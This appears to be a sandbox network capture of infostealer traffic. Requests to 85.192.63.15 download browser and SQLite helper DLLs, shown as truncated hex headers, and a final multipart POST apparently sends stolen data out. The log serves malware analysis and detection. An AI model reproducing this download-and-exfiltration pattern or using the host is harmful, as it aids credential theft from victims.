Apr 27, 2023 07:41:57.571418047 CEST	2247	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll HTTP/1.1 Content-Type: text/plain; User-Agent: AYAYAYAY1337 Host: 85.192.63.15 Connection: Keep-Alive Cache-Control: no-cache
Apr 27, 2023 07:41:57.640717030 CEST	2248	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Apr 2023 05:41:57 GMT Content-Type: application/octet-stream Content-Length: 449280 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 19:39:42 GMT ETag: "625483fe-6db00" Expires: Thu, 27 Apr 2023 06:11:57 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9b 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 1f 84 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 00 3f 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL(["!(`@@Agr?=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Apr 27, 2023 07:41:58.460856915 CEST	2738	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll HTTP/1.1 Content-Type: text/plain; User-Agent: AYAYAYAY1337 Host: 85.192.63.15 Connection: Keep-Alive Cache-Control: no-cache
Apr 27, 2023 07:41:58.529330015 CEST	2739	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Apr 2023 05:41:58 GMT Content-Type: application/octet-stream Content-Length: 80128 Connection: keep-alive Last-Modified: Sat, 28 May 2022 21:52:46 GMT ETag: "629299ae-13900" Expires: Thu, 27 Apr 2023 06:11:58 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 74 28 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 00 3f 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL(["!0t(@A? 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Apr 27, 2023 07:41:58.635438919 CEST	2826	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll HTTP/1.1 Content-Type: text/plain; User-Agent: AYAYAYAY1337 Host: 85.192.63.15 Connection: Keep-Alive Cache-Control: no-cache
Apr 27, 2023 07:41:58.704148054 CEST	2828	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Apr 2023 05:41:58 GMT Content-Type: application/octet-stream Content-Length: 627128 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 19:39:36 GMT ETag: "625483f8-991b8" Expires: Thu, 27 Apr 2023 06:11:58 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d4 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 18 08 00 00 56 01 00 00 00 00 00 b0 2f 04 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 09 00 00 04 00 00 ed ee 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 ad bc 08 00 63 51 00 00 10 0e 09 00 2c 01 00 00 00 70 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 72 09 00 b8 1f 00 00 00 80 09 00 34 43 00 00 1c b0 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 57 08 00 18 00 00 00 68 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 13 09 00 d8 03 00 00 90 b7 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d1 16 08 00 00 10 00 00 00 18 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c ff 00 00 00 30 08 00 00 00 01 00 00 1c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 1c 00 00 00 30 09 00 00 04 00 00 00 1c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 50 09 00 00 02 00 00 00 20 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 60 09 00 00 02 00 00 00 22 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 70 09 00 00 0a 00 00 00 24 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 43 00 00 00 80 09 00 00 44 00 00 00 2e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL9b"!V/@AcQ,pr4CWh0.text `.rdata0@@.data0@.00cfgP @@.tls`"@.rsrcp$@@.reloc4CD.@B
Apr 27, 2023 07:41:59.713602066 CEST	3516	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: AYAYAYAY1337 Host: 85.192.63.15 Connection: Keep-Alive Cache-Control: no-cache
Apr 27, 2023 07:41:59.782526970 CEST	3517	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Apr 2023 05:41:59 GMT Content-Type: application/octet-stream Content-Length: 684984 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 19:40:08 GMT ETag: "62548418-a73b8" Expires: Thu, 27 Apr 2023 06:11:59 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 26 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 1a 08 00 00 36 02 00 00 00 00 00 b0 1f 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 e0 0a 00 00 04 00 00 e9 81 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 34 2c 0a 00 53 00 00 00 87 2c 0a 00 c8 00 00 00 00 a0 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 54 0a 00 b8 1f 00 00 00 b0 0a 00 38 24 00 00 84 26 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 94 2e 0a 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d5 19 08 00 00 10 00 00 00 1a 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 30 08 00 00 08 02 00 00 1e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 40 0a 00 00 02 00 00 00 26 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 90 0a 00 00 02 00 00 00 28 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 a0 0a 00 00 04 00 00 00 2a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 38 24 00 00 00 b0 0a 00 00 26 00 00 00 2e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL&9b"!6@A4,S,xT8$&0.D.text `.rdata0@@.data<F@&@.00cfg(@@.rsrcx*@@.reloc8$&.@B
Apr 27, 2023 07:42:00.538084984 CEST	4263	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: AYAYAYAY1337 Host: 85.192.63.15 Connection: Keep-Alive Cache-Control: no-cache
Apr 27, 2023 07:42:00.606457949 CEST	4264	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Apr 2023 05:42:00 GMT Content-Type: application/octet-stream Content-Length: 254392 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 19:39:58 GMT ETag: "6254840e-3e1b8" Expires: Thu, 27 Apr 2023 06:12:00 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 27 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f2 00 00 00 00 00 00 80 ce 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 a1 de 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 74 76 03 00 53 01 00 00 c7 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c2 03 00 b8 1f 00 00 00 c0 03 00 98 35 00 00 68 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 44 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 ca 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 04 ac 00 00 00 e0 02 00 00 ae 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 35 00 00 00 c0 03 00 00 36 00 00 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL'9b"!@AtvSw5hqD{.textV `.rdata@@.data~@.00cfg@@.rsrc@@.reloc56@B
Apr 27, 2023 07:42:00.863466978 CEST	4539	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: AYAYAYAY1337 Host: 85.192.63.15 Connection: Keep-Alive Cache-Control: no-cache
Apr 27, 2023 07:42:00.937450886 CEST	4541	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Apr 2023 05:42:00 GMT Content-Type: application/octet-stream Content-Length: 1099223 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 17:28:56 GMT ETag: "62546558-10c5d7" Expires: Thu, 27 Apr 2023 06:12:00 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 22 a9 2c 62 00 76 0e 00 b2 13 00 00 e0 00 06 21 0b 01 02 19 00 0c 0b 00 00 fa 0c 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 20 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 0f 00 00 06 00 00 c8 9d 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 0c 00 6e 2a 00 00 00 e0 0c 00 d0 0c 00 00 00 10 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0d 00 e0 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c e2 0c 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac 0a 0b 00 00 10 00 00 00 0c 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 20 0b 00 00 28 00 00 00 12 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 10 44 01 00 00 50 0b 00 00 46 01 00 00 3a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 a0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 6e 2a 00 00 00 b0 0c 00 00 2c 00 00 00 80 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 e0 0c 00 00 0e 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 f0 0c 00 00 02 00 00 00 ba 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 00 0d 00 00 02 00 00 00 bc 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 10 0d 00 00 06 00 00 00 be 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 e0 3b 00 00 00 20 0d 00 00 3c 00 00 00 c4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 60 0d 00 00 06 00 00 00 00 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 70 0d 00 00 ca 00 00 00 06 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 40 0e 00 00 28 00 00 00 d0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 70 0e 00 00 2e 00 00 00 f8 0d 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL",bv! a n* ;.text`P`.data\|' (@`.rdataDPF:@`@.bss(`.edatan*,@0@.idata@0.CRT,@0.tls @0.rsrc@0.reloc; <@0B/48`@@B/19Rp@B/31]'@(@B/45-p.
Apr 27, 2023 07:42:02.447881937 CEST	5736	OUT	POST /739b32bcadfc7ce757042211b13fe41d HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=j8t3h8y7L0ZDKCSk User-Agent: AYAYAYAY1337 Host: 85.192.63.15 Content-Length: 7372 Connection: Keep-Alive Cache-Control: no-cache
